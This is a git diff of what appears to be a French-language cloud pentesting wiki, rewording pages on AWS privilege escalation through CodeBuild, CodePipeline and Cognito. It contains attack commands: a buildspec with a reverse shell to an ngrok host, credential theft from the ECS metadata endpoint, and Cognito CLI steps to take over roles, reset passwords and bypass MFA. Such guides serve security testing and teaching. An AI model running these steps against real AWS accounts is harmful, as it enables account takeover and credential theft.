`/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Ajoutez cela à l'URL **`http://169.254.170.2/`** et vous pourrez extraire les identifiants du rôle. +> Ajoutez cela à l'URL **`http://169.254.170.2/`** et vous pourrez dump les identifiants du rôle. -> De plus, il contient également la **variable d'environnement `ECS_CONTAINER_METADATA_URI`** qui contient l'URL complète pour obtenir des **informations de métadonnées sur le conteneur**. +> De plus, il contient aussi la **variable d'environnement `ECS_CONTAINER_METADATA_URI`** qui contient l'URL complète pour obtenir les **informations metadata sur le conteneur**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Tout comme dans la section précédente, si au lieu de créer un projet de build vous pouvez le modifier, vous pouvez indiquer le rôle IAM et voler le jeton. +Comme dans la section précédente, si au lieu de créer un build project vous pouvez le modifier, vous pouvez indiquer le IAM Role et voler le token ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -218,11 +218,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file aws codebuild start-build --project-name codebuild-demo-project ``` -**Impact potentiel :** Privesc direct à tout rôle AWS Codebuild. +**Impact potentiel :** Privesc direct sur n'importe quel rôle AWS Codebuild. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Comme dans la section précédente mais **sans la permission `iam:PassRole`**, vous pouvez abuser de ces permissions pour **modifier les projets Codebuild existants et accéder au rôle qui leur est déjà assigné**. +Comme dans la section précédente mais **sans la permission `iam:PassRole`**, vous pouvez abuser de cette permission pour **modifier les projets Codebuild existants et accéder au rôle qui leur est déjà assigné**. {{#tabs }} {{#tab name="StartBuild" }} @@ -298,13 +298,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**Impact potentiel :** Privesc direct aux rôles AWS Codebuild attachés. +**Impact potentiel :** Privesc direct vers les rôles AWS Codebuild attachés. ### SSM -Avoir **suffisamment de permissions pour démarrer une session ssm** permet d'**accéder à un projet Codebuild** en cours de construction. +Avec **les permissions suffisantes pour démarrer une session ssm**, il est possible d'entrer **dans un projet Codebuild** en cours de build. -Le projet codebuild devra avoir un point d'arrêt : +The codebuild project will need to have a breakpoint: 
phases:
 pre_build:
@@ -314,18 +314,18 @@ commands:
       - codebuild-breakpoint
-Et ensuite : +Et ensuite: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` -Pour plus d'infos [**consultez la documentation**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +Pour plus d'infos [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -Un attaquant capable de démarrer/redémarrer un build d'un projet CodeBuild spécifique qui stocke son fichier `buildspec.yml` dans un bucket S3 auquel l'attaquant a accès en écriture, peut obtenir l'exécution de commandes dans le processus CodeBuild. +Un attacker capable de démarrer/redémarrer un build d'un projet CodeBuild spécifique qui stocke son fichier `buildspec.yml` sur un bucket S3 auquel l'attacker a un accès en écriture, peut obtenir command execution dans le processus CodeBuild. -Remarque : l'escalade est pertinente uniquement si le worker CodeBuild a un rôle différent, espérons-le plus privilégié, que celui de l'attaquant. +Remarque : l'escalation n'est pertinente que si le CodeBuild worker a un role différent — idéalement plus privileged — que celui de l'attacker. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -342,7 +342,7 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` -Vous pouvez utiliser quelque chose comme ceci **buildspec** pour obtenir un **reverse shell** : +Vous pouvez utiliser un **buildspec** comme celui-ci pour obtenir une **reverse shell**: ```yaml:buildspec.yml version: 0.2 @@ -351,13 +351,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**Impact :** Privesc direct au rôle utilisé par le travailleur AWS CodeBuild qui a généralement des privilèges élevés. +**Impact :** Privesc direct vers le rôle utilisé par le worker AWS CodeBuild qui a généralement des privilèges élevés. > [!WARNING] -> Notez que le buildspec pourrait être attendu au format zip, donc un attaquant devrait télécharger, dézipper, modifier le `buildspec.yml` depuis le répertoire racine, rezipper et télécharger à nouveau. +> Notez que le buildspec peut être fourni au format zip, donc un attaquant devrait le télécharger, le décompresser, modifier le `buildspec.yml` à partir du répertoire racine, le recomprimer et le téléverser -Plus de détails peuvent être trouvés [ici](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +Plus de détails sont disponibles [ici](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). -**Impact potentiel :** Privesc direct aux rôles AWS Codebuild attachés. +**Impact potentiel :** Privesc direct vers les rôles AWS Codebuild attachés. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md deleted file mode 100644 index 9c622cee6..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - Codepipeline Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## codepipeline - -Pour plus d'informations sur codepipeline, consultez : - -{{#ref}} -../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md -{{#endref}} - -### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` - -Lors de la création d'un code pipeline, vous pouvez indiquer un **rôle IAM codepipeline à exécuter**, vous pourriez donc les compromettre. - -En plus des autorisations précédentes, vous auriez besoin **d'accès à l'endroit où le code est stocké** (S3, ECR, github, bitbucket...) - -J'ai testé cela en effectuant le processus sur la page web, les autorisations indiquées précédemment ne sont pas celles de List/Get nécessaires pour créer un codepipeline, mais pour le créer sur le web, vous aurez également besoin de : `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` - -Lors de la **création du projet de build**, vous pouvez indiquer une **commande à exécuter** (rev shell ?) et exécuter la phase de build en tant que **utilisateur privilégié**, c'est la configuration dont l'attaquant a besoin pour compromettre : - -![](<../../../images/image (276).png>) - -![](<../../../images/image (181).png>) - -### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` - -Il pourrait être possible de modifier le rôle utilisé et la commande exécutée sur un codepipeline avec les autorisations précédentes. - -### `codepipeline:pollforjobs` - -[AWS mentionne](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) : - -> Lorsque cette API est appelée, CodePipeline **renvoie des identifiants temporaires pour le bucket S3** utilisé pour stocker les artefacts du pipeline, si l'action nécessite un accès à ce bucket S3 pour les artefacts d'entrée ou de sortie. Cette API **renvoie également toutes les valeurs secrètes définies pour l'action**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md new file mode 100644 index 000000000..5fd7dd187 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md @@ -0,0 +1,37 @@ +# AWS - Codepipeline Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## codepipeline + +Pour plus d'infos sur codepipeline, consultez : + +{{#ref}} +../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +{{#endref}} + +### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` + +Lors de la création d'un code pipeline, vous pouvez indiquer un **codepipeline IAM Role to run**, vous pourriez donc les compromettre. + +En plus des permissions précédentes, vous auriez besoin d'**accès à l'endroit où le code est stocké** (S3, ECR, github, bitbucket...) + +J'ai testé ceci en effectuant le processus via la page web ; les permissions indiquées précédemment sont celles nécessaires pour créer un codepipeline (et pas uniquement les permissions List/Get), mais pour le créer via l'interface web vous aurez aussi besoin de : `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` + +Lors de la **création du build project** vous pouvez indiquer une **commande à exécuter** (rev shell?) et exécuter la phase de build en tant qu'**utilisateur privilégié**, c'est la configuration dont l'attaquant a besoin pour compromettre : + +![](<../../../images/image (276).png>) + +![](<../../../images/image (181).png>) + +### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` + +Il pourrait être possible de modifier le rôle utilisé et la commande exécutée sur un codepipeline avec les permissions précédentes. + +### `codepipeline:pollforjobs` + +[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): + +> Lorsque cette API est appelée, CodePipeline **returns temporary credentials for the S3 bucket** utilisé pour stocker les artifacts pour le pipeline, si l'action nécessite l'accès à ce S3 bucket pour des artifacts d'entrée ou de sortie. Cette API **returns any secret values defined for the action**. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md deleted file mode 100644 index 84453fdbe..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ /dev/null @@ -1,274 +0,0 @@ -# AWS - Cognito Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -Pour plus d'informations sur Cognito, consultez : - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Récupération des identifiants depuis le Identity Pool - -Comme Cognito peut accorder des **identifiants de rôle IAM** à la fois aux **utilisateurs authentifiés** et **non authentifiés**, si vous localisez l'**ID du Identity Pool** d'une application (qui devrait être codé en dur), vous pouvez obtenir de nouveaux identifiants et donc un privesc (dans un compte AWS où vous n'aviez probablement même pas d'identifiant auparavant). - -Pour plus d'informations, [**consultez cette page**](../aws-unauthenticated-enum-access/#cognito). - -**Impact potentiel :** Privesc direct vers le rôle de service attaché aux utilisateurs non authentifiés (et probablement vers celui attaché aux utilisateurs authentifiés). - -### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` - -Avec cette permission, vous pouvez **accorder n'importe quel rôle cognito** aux utilisateurs authentifiés/non authentifiés de l'application cognito. -```bash -aws cognito-identity set-identity-pool-roles \ ---identity-pool-id \ ---roles unauthenticated= - -# Get credentials -## Get one ID -aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367" -## Get creds for that id -aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" -``` -Si l'application cognito **n'a pas d'utilisateurs non authentifiés activés**, vous pourriez également avoir besoin de la permission `cognito-identity:UpdateIdentityPool` pour l'activer. - -**Impact potentiel :** Privesc direct vers n'importe quel rôle cognito. - -### `cognito-identity:update-identity-pool` - -Un attaquant avec cette permission pourrait par exemple définir un Cognito User Pool sous son contrôle ou tout autre fournisseur d'identité où il peut se connecter comme **un moyen d'accéder à ce Cognito Identity Pool**. Ensuite, il lui suffira de **se connecter** sur ce fournisseur d'utilisateur pour **lui permettre d'accéder au rôle authentifié configuré dans l'Identity Pool**. -```bash -# This example is using a Cognito User Pool as identity provider -## but you could use any other identity provider -aws cognito-identity update-identity-pool \ ---identity-pool-id \ ---identity-pool-name \ -[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ ---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false - -# Now you need to login to the User Pool you have configured -## after having the id token of the login continue with the following commands: - -# In this step you should have already an ID Token -aws cognito-identity get-id \ ---identity-pool-id \ ---logins cognito-idp..amazonaws.com/= - -# Get the identity_id from thr previous commnad response -aws cognito-identity get-credentials-for-identity \ ---identity-id \ ---logins cognito-idp..amazonaws.com/= -``` -Il est également possible de **mal utiliser cette autorisation pour permettre l'authentification de base** : -```bash -aws cognito-identity update-identity-pool \ ---identity-pool-id \ ---identity-pool-name \ ---allow-unauthenticated-identities ---allow-classic-flow -``` -**Impact potentiel** : Compromettre le rôle IAM authentifié configuré à l'intérieur du pool d'identité. - -### `cognito-idp:AdminAddUserToGroup` - -Cette permission permet de **ajouter un utilisateur Cognito à un groupe Cognito**, donc un attaquant pourrait abuser de cette permission pour ajouter un utilisateur sous son contrôle à d'autres groupes avec des **meilleures** privilèges ou **différents rôles IAM** : -```bash -aws cognito-idp admin-add-user-to-group \ ---user-pool-id \ ---username \ ---group-name -``` -**Impact potentiel :** Privesc vers d'autres groupes Cognito et rôles IAM attachés aux groupes de User Pool. - -### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` - -Un attaquant avec ces permissions pourrait **créer/met à jour des groupes** avec **chaque rôle IAM qui peut être utilisé par un fournisseur d'identité Cognito compromis** et faire d'un utilisateur compromis un membre du groupe, accédant à tous ces rôles : -```bash -aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn -``` -**Impact potentiel :** Privesc vers d'autres rôles IAM Cognito. - -### `cognito-idp:AdminConfirmSignUp` - -Cette permission permet de **vérifier une inscription**. Par défaut, tout le monde peut se connecter aux applications Cognito, si cela est laissé, un utilisateur pourrait créer un compte avec n'importe quelles données et le vérifier avec cette permission. -```bash -aws cognito-idp admin-confirm-sign-up \ ---user-pool-id \ ---username -``` -**Impact potentiel :** Privesc indirect au rôle IAM du pool d'identité pour les utilisateurs authentifiés si vous pouvez enregistrer un nouvel utilisateur. Privesc indirect à d'autres fonctionnalités de l'application en pouvant confirmer n'importe quel compte. - -### `cognito-idp:AdminCreateUser` - -Cette permission permettrait à un attaquant de créer un nouvel utilisateur dans le pool d'utilisateurs. Le nouvel utilisateur est créé comme activé, mais devra changer son mot de passe. -```bash -aws cognito-idp admin-create-user \ ---user-pool-id \ ---username \ -[--user-attributes ] ([Name=email,Value=email@gmail.com]) -[--validation-data ] -[--temporary-password ] -``` -**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application en pouvant créer n'importe quel utilisateur. - -### `cognito-idp:AdminEnableUser` - -Cette permission peut aider dans un scénario très particulier où un attaquant a trouvé les identifiants d'un utilisateur désactivé et il doit **le réactiver**. -```bash -aws cognito-idp admin-enable-user \ ---user-pool-id \ ---username -``` -**Impact potentiel :** Privesc indirect au rôle IAM du pool d'identité pour les utilisateurs authentifiés et permissions de l'utilisateur si l'attaquant avait des identifiants pour un utilisateur désactivé. - -### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** - -Cette permission permet de se connecter avec la [**méthode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Pour plus d'informations, suivez le lien. - -### `cognito-idp:AdminSetUserPassword` - -Cette permission permettrait à un attaquant de **changer le mot de passe de n'importe quel utilisateur**, lui permettant d'usurper l'identité de n'importe quel utilisateur (qui n'a pas MFA activé). -```bash -aws cognito-idp admin-set-user-password \ ---user-pool-id \ ---username \ ---password \ ---permanent -``` -**Impact potentiel :** Privesc direct vers potentiellement n'importe quel utilisateur, donc accès à tous les groupes dont chaque utilisateur est membre et accès au rôle IAM authentifié de l'Identity Pool. - -### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` - -**AdminSetUserSettings** : Un attaquant pourrait potentiellement abuser de cette permission pour définir un téléphone mobile sous son contrôle comme **SMS MFA d'un utilisateur**. -```bash -aws cognito-idp admin-set-user-settings \ ---user-pool-id \ ---username \ ---mfa-options -``` -**SetUserMFAPreference :** Semblable à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un utilisateur afin de contourner la protection MFA. -```bash -aws cognito-idp admin-set-user-mfa-preference \ -[--sms-mfa-settings ] \ -[--software-token-mfa-settings ] \ ---username \ ---user-pool-id -``` -**SetUserPoolMfaConfig** : Semblable à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un pool d'utilisateurs afin de contourner la protection MFA. -```bash -aws cognito-idp set-user-pool-mfa-config \ ---user-pool-id \ -[--sms-mfa-configuration ] \ -[--software-token-mfa-configuration ] \ -[--mfa-configuration ] -``` -**UpdateUserPool :** Il est également possible de mettre à jour le pool d'utilisateurs pour changer la politique MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Impact potentiel :** Privesc indirect à potentiellement n'importe quel utilisateur dont l'attaquant connaît les identifiants, cela pourrait permettre de contourner la protection MFA. - -### `cognito-idp:AdminUpdateUserAttributes` - -Un attaquant avec cette permission pourrait changer l'email ou le numéro de téléphone ou tout autre attribut d'un utilisateur sous son contrôle pour essayer d'obtenir plus de privilèges dans une application sous-jacente.\ -Cela permet de changer un email ou un numéro de téléphone et de le définir comme vérifié. -```bash -aws cognito-idp admin-update-user-attributes \ ---user-pool-id \ ---username \ ---user-attributes -``` -**Impact potentiel :** Privesc indirect potentiel dans l'application sous-jacente utilisant Cognito User Pool qui donne des privilèges basés sur les attributs des utilisateurs. - -### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` - -Un attaquant avec cette permission pourrait **créer un nouveau Client User Pool moins restreint** que les clients de pool existants. Par exemple, le nouveau client pourrait permettre n'importe quel type de méthode pour s'authentifier, ne pas avoir de secret, avoir la révocation de jetons désactivée, permettre aux jetons d'être valides pendant une période plus longue... - -La même chose peut être faite si au lieu de créer un nouveau client, un **client existant est modifié**. - -Dans la [**ligne de commande**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou le [**client de mise à jour**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)), vous pouvez voir toutes les options, vérifiez-le ! -```bash -aws cognito-idp create-user-pool-client \ ---user-pool-id \ ---client-name \ -[...] -``` -**Impact potentiel :** Privesc indirect potentiel vers l'utilisateur autorisé du Identity Pool utilisé par le User Pool en créant un nouveau client qui assouplit les mesures de sécurité et permet à un attaquant de se connecter avec un utilisateur qu'il a pu créer. - -### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` - -Un attaquant pourrait abuser de cette permission pour créer des utilisateurs en téléchargeant un csv avec de nouveaux utilisateurs. -```bash -# Create a new import job -aws cognito-idp create-user-import-job \ ---job-name \ ---user-pool-id \ ---cloud-watch-logs-role-arn - -# Use a new import job -aws cognito-idp start-user-import-job \ ---user-pool-id \ ---job-id - -# Both options before will give you a URL where you can send the CVS file with the users to create -curl -v -T "PATH_TO_CSV_FILE" \ --H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" -``` -(Dans le cas où vous créez un nouveau travail d'importation, vous pourriez également avoir besoin de la permission iam passrole, je ne l'ai pas encore testée). - -**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur. - -### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` - -Un attaquant pourrait créer un nouveau fournisseur d'identité pour ensuite pouvoir **se connecter via ce fournisseur**. -```bash -aws cognito-idp create-identity-provider \ ---user-pool-id \ ---provider-name \ ---provider-type \ ---provider-details \ -[--attribute-mapping ] \ -[--idp-identifiers ] -``` -**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur. - -### cognito-sync:\* Analyse - -C'est une permission très courante par défaut dans les rôles des pools d'identité Cognito. Même si un caractère générique dans une permission semble toujours mauvais (surtout venant d'AWS), les **permissions données ne sont pas super utiles du point de vue d'un attaquant**. - -Cette permission permet de lire les informations d'utilisation des pools d'identité et des ID d'identité à l'intérieur des pools d'identité (qui ne sont pas des informations sensibles).\ -Les ID d'identité peuvent avoir des [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) qui leur sont assignés, qui contiennent des informations sur les sessions (AWS le définit comme un **jeu sauvegardé**). Il est possible que cela contienne une sorte d'information sensible (mais la probabilité est assez faible). Vous pouvez trouver sur la [**page d'énumération**](../aws-services/aws-cognito-enum/) comment accéder à ces informations. - -Un attaquant pourrait également utiliser ces permissions pour **s'inscrire à un flux Cognito qui publie des changements** sur ces datasets ou à une **lambda qui se déclenche sur des événements cognito**. Je n'ai pas vu cela être utilisé, et je ne m'attendrais pas à des informations sensibles ici, mais ce n'est pas impossible. - -### Outils automatiques - -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), le framework d'exploitation AWS, inclut maintenant les modules "cognito\_\_enum" et "cognito\_\_attack" qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisables modifiables, des identifiants de pool d'identité utilisables, des rôles assumables dans les jetons d'identité, etc. - -Pour une description des fonctions des modules, voir la partie 2 du [post de blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, voir la page principale de [Pacu](https://github.com/RhinoSecurityLabs/pacu). - -#### Utilisation - -Exemple d'utilisation de cognito\_\_attack pour tenter la création d'utilisateur et tous les vecteurs de privesc contre un pool d'identité et un client de pool d'utilisateur donnés : -```bash -Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools -us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients -59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX -``` -Exemple d'utilisation de cognito\_\_enum pour rassembler tous les groupes d'utilisateurs, les clients de groupes d'utilisateurs, les groupes d'identité, les utilisateurs, etc. visibles dans le compte AWS actuel : -```bash -Pacu (new:test) > run cognito__enum -``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) est un outil CLI en python qui implémente différentes attaques sur Cognito, y compris une élévation de privilèges. - -#### Installation -```bash -$ pip install cognito-scanner -``` -#### Utilisation -```bash -$ cognito-scanner --help -``` -Pour plus d'informations, consultez [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md new file mode 100644 index 000000000..fa876056d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md @@ -0,0 +1,274 @@ +# AWS - Cognito Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +Pour plus d'informations sur Cognito, consultez : + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Récupération des credentials depuis Identity Pool + +Comme Cognito peut accorder des **IAM role credentials** à la fois aux **authenticated** et aux **unauthenticated** **users**, si vous localisez l'**Identity Pool ID** d'une application (il devrait être codé en dur dedans) vous pouvez obtenir de nouveaux credentials et donc une privesc (dans un compte AWS où vous n'aviez probablement aucune credential auparavant). + +Pour plus d'informations [**consultez cette page**](../../aws-unauthenticated-enum-access/index.html#cognito). + +**Impact potentiel :** privesc direct vers le service role attaché aux unauth users (et probablement vers celui attaché aux auth users). + +### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` + +Avec cette permission, vous pouvez **grant any cognito role** aux authenticated/unauthenticated users de l'application cognito. +```bash +aws cognito-identity set-identity-pool-roles \ +--identity-pool-id \ +--roles unauthenticated= + +# Get credentials +## Get one ID +aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367" +## Get creds for that id +aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" +``` +Si l'application cognito **n'a pas les utilisateurs non authentifiés activés**, il se peut que vous ayez également besoin de la permission `cognito-identity:UpdateIdentityPool` pour l'activer. + +**Impact potentiel :** Privesc direct sur n'importe quel cognito role. + +### `cognito-identity:update-identity-pool` + +Un attaquant disposant de cette permission pourrait, par exemple, configurer un Cognito User Pool sous son contrôle ou tout autre identity provider où il peut se connecter comme **moyen d'accéder à ce Cognito Identity Pool**. Ensuite, il suffirait de **se connecter** sur ce fournisseur d'identité pour **lui permettre d'accéder au rôle authentifié configuré dans l'Identity Pool**. +```bash +# This example is using a Cognito User Pool as identity provider +## but you could use any other identity provider +aws cognito-identity update-identity-pool \ +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false + +# Now you need to login to the User Pool you have configured +## after having the id token of the login continue with the following commands: + +# In this step you should have already an ID Token +aws cognito-identity get-id \ +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= + +# Get the identity_id from thr previous commnad response +aws cognito-identity get-credentials-for-identity \ +--identity-id \ +--logins cognito-idp..amazonaws.com/= +``` +Il est aussi possible d'**abuser de cette permission pour autoriser basic auth**: +```bash +aws cognito-identity update-identity-pool \ +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow +``` +**Impact potentiel**: Compromettre le IAM role authenticated configuré dans l'identity pool. + +### `cognito-idp:AdminAddUserToGroup` + +Cette permission permet de **ajouter un utilisateur Cognito à un groupe Cognito**, par conséquent un attaquant pourrait abuser de cette permission pour ajouter un utilisateur sous son contrôle à d'autres groupes avec des privilèges **meilleurs** ou des **IAM roles différents**: +```bash +aws cognito-idp admin-add-user-to-group \ +--user-pool-id \ +--username \ +--group-name +``` +**Impact potentiel :** Privesc vers d'autres groupes Cognito et rôles IAM attachés aux User Pool Groups. + +### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` + +Un attaquant disposant de ces autorisations pourrait **créer/mettre à jour des groupes** avec **tous les rôles IAM pouvant être utilisés par un Cognito Identity Provider compromis** et ajouter un utilisateur compromis au groupe, accédant à tous ces rôles : +```bash +aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn +``` +**Impact potentiel:** Privesc vers d'autres rôles IAM Cognito. + +### `cognito-idp:AdminConfirmSignUp` + +Cette permission permet de **vérifier une inscription**. Par défaut, n'importe qui peut s'inscrire aux applications Cognito ; si cela est laissé activé, un utilisateur pourrait créer un compte avec n'importe quelles données et le vérifier avec cette permission. +```bash +aws cognito-idp admin-confirm-sign-up \ +--user-pool-id \ +--username +``` +**Impact potentiel :** Élévation de privilèges indirecte vers le rôle IAM de l'identity pool pour les utilisateurs authentifiés si vous pouvez enregistrer un nouvel utilisateur. Élévation de privilèges indirecte vers d'autres fonctionnalités de l'application permettant de confirmer n'importe quel compte. + +### `cognito-idp:AdminCreateUser` + +Cette autorisation permettrait à un attaquant de créer un nouvel utilisateur dans le user pool. Le nouvel utilisateur est créé activé, mais devra changer son mot de passe. +```bash +aws cognito-idp admin-create-user \ +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] +``` +**Impact potentiel :** Privesc direct sur l'identity pool IAM role pour les utilisateurs authentifiés. Privesc indirect vers d'autres fonctionnalités de l'application pouvant permettre la création de n'importe quel utilisateur + +### `cognito-idp:AdminEnableUser` + +Cette permission peut aider dans un scénario très limite où un attaquant a trouvé les identifiants d'un utilisateur désactivé et a besoin de **le réactiver**. +```bash +aws cognito-idp admin-enable-user \ +--user-pool-id \ +--username +``` +**Impact potentiel :** privesc indirect vers le rôle IAM du identity pool pour les utilisateurs authentifiés et les permissions de l'utilisateur si l'attaquant disposait des credentials d'un utilisateur désactivé. + +### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** + +Cette permission permet de se connecter avec la [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Pour plus d'informations, suivez le lien. + +### `cognito-idp:AdminSetUserPassword` + +Cette permission permettrait à un attaquant de **modifier le mot de passe de n'importe quel utilisateur**, lui permettant de se faire passer pour n'importe quel utilisateur (qui n'a pas MFA activé). +```bash +aws cognito-idp admin-set-user-password \ +--user-pool-id \ +--username \ +--password \ +--permanent +``` +**Impact potentiel:** Privesc direct vers potentiellement n'importe quel utilisateur, donc accès à tous les groupes dont chaque utilisateur est membre et accès au Identity Pool authenticated IAM role. + +### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` + +**AdminSetUserSettings**: Un attaquant pourrait potentiellement abuser de cette permission pour définir un téléphone mobile sous son contrôle comme **SMS MFA of a user**. +```bash +aws cognito-idp admin-set-user-settings \ +--user-pool-id \ +--username \ +--mfa-options +``` +**SetUserMFAPreference:** Similaire à la précédente, cette permission peut être utilisée pour définir les préférences MFA d'un utilisateur afin de bypass la protection MFA. +```bash +aws cognito-idp admin-set-user-mfa-preference \ +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ 